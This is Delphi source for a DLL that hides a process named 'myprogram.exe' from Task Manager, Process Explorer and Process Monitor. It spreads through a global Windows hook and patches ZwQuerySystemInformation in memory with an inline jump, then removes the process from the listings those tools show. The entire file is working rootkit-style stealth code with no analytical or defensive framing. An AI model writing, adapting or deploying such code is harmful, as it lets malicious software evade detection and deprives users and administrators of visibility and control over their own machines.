library prtct;

uses
 Windows,
 NativeAPI,
 ThreadStopper;

type
OldCode = packed record
 One: dword;
 two: word;
end;

far_jmp = packed record
 PuhsOp: byte;
 PushArg: pointer;
 RetOp: byte;
end;

var
 Hook: HHOOK;
 JmpZwq: far_jmp;
 OldZwq: OldCode;
 PtrZwq: pointer;
 FIsTM: Boolean;

Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;
                                 ASystemInformation: Pointer;
                                 ASystemInformationLength: dword;
                                 AReturnLength: PCardinal): NTStatus; stdcall;
var
Written: dword;
begin
 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                    @OldZwq, SizeOf(OldCode), Written);

 Result := ZwQuerySystemInformation(ASystemInformationClass,
                                    ASystemInformation,
                                    ASystemInformationLength,
                                    AReturnLength);

 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                    @JmpZwq, SizeOf(far_jmp), Written);
end;

Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
                                 ASystemInformation: Pointer;
                                 ASystemInformationLength: dword;
                                 AReturnLength: PCardinal): NTStatus; stdcall;
var
 Info, Prev: PSYSTEM_PROCESSES;
begin
 Result := TrueZwQuerySystemInformation(ASystemInformationClass,
                                       ASystemInformation,
                                       ASystemInformationLength,
                                       AReturnLength);

 if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
   (Result = STATUS_SUCCESS) then
 begin
   Prev := ASystemInformation;
   Info := ASystemInformation;
   while Info^.NextEntryDelta <> 0 do
   begin
     Info := Pointer(dword(Info) + Info^.NextEntryDelta);
     if (lstrcmpiw(Info^.ProcessName.Buffer, 'myprogram.exe') = 0)  then
     begin
       if Info^.NextEntryDelta = 0 then
         Prev^.NextEntryDelta := 0
       else
         Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
     end
     else
       Prev := Info;
   end;
 end;
end;

function IsTM: Boolean;
var
 WndFound: Boolean;
 rslt: boolean;

 function AnalyzeWnd(CurHandle: THandle; CurrentProcessId: LParam): Boolean; stdcall;
 var
   WndProcId: Cardinal;
   Buffer : array[0..255] of Char;
 begin
   Result := True;
   GetWindowThreadProcessId(CurHandle, WndProcId);

   if LParam(WndProcId) = CurrentProcessId then
   begin
     FillChar(Buffer, 256, 0);
     GetClassName(CurHandle, @Buffer[0], 255);

     if (Buffer = '#32770') or (Buffer = 'PROCEXPL') or (Buffer = 'PROCMON_WINDOW_CLASS') then
     begin
       WndFound := True;
       //&#239;&#240;&#229;&#234;&#240;&#224;&#249;&#224;&#229;&#236; Enum
       Result := False;
     end;  
   end;
 end;

begin

 WndFound := False;
 rslt := EnumWindows(@AnalyzeWnd, GetCurrentProcessId);
 Result := not rslt;
end;

type
TWriteProcessMemory = function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
 nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; StdCall;

procedure WriteProcessMemory2(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
 nSize: DWORD; var lpNumberOfBytesWritten: DWORD);
var
LibHandle  : THandle;
RunWriteProcessMemory: TWriteProcessMemory;
begin
// Attempt to load the DLL
LibHandle := LoadLibrary('KERNEL32.DLL');
try
 // If the load failed, LibHandle will be zero.
 // If this occurs, raise an exception.
 if LibHandle = 0 then Exit;
//   raise EDLLLoadError.Create('Unable to Load DLL');
 // If the code makes it here, the DLL loaded successfully; now obtain
 // the link to the DLL's exported function so that it can be called.
 @RunWriteProcessMemory := GetProcAddress(LibHandle, 'WriteProcessMemory');
 // If the function is imported successfully, then set
 // lblDate.Caption to reflect the returned date from
 // the function. Otherwise, show the return raise an exception.
 if not (@RunWriteProcessMemory = nil) then
  RunWriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten)
//  else
//   RaiseLastWin32Error;
finally
 FreeLibrary(LibHandle); // Unload the DLL.
end;
end;

Procedure SetHook();
var
Bytes: dword;
begin
 PtrZwq  := GetProcAddress(GetModuleHandle('ntdll.dll'), 'ZwQuerySystemInformation');
 ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
 JmpZwq.PuhsOp  := $68;
 JmpZwq.PushArg := @NewZwQuerySystemInformation;
 JmpZwq.RetOp   := $C3;
 WriteProcessMemory2(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;

Procedure Unhook();
var
Bytes: dword;
begin
 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;

function MessageProc(code : integer; wParam : longint; lParam : longint) : longint; stdcall; export;
begin
 Result := CallNextHookEx(0, Code, wParam, lparam);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
 if not FIsTM then Exit;
 case dwReason of
   DLL_PROCESS_ATTACH: begin
                         //SetGlobalHook();
                         StopThreads;
                         SetHook();
                         RunThreads;
                       end;
   DLL_PROCESS_DETACH: begin
                         StopThreads;
                         Unhook();
                         RunThreads;
                       end;
 end;
end;

procedure GlobalHook; export;
begin
 Hook:=SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
end;

procedure GlobalUnhook;export;
begin
 UnhookWindowsHookEx(Hook);
end;

exports
 GlobalHook, GlobalUnhook;

begin
 FIsTM := IsTM;
 DllProc := @DLLEntryPoint;
 DLLEntryPoint(DLL_PROCESS_ATTACH);
end.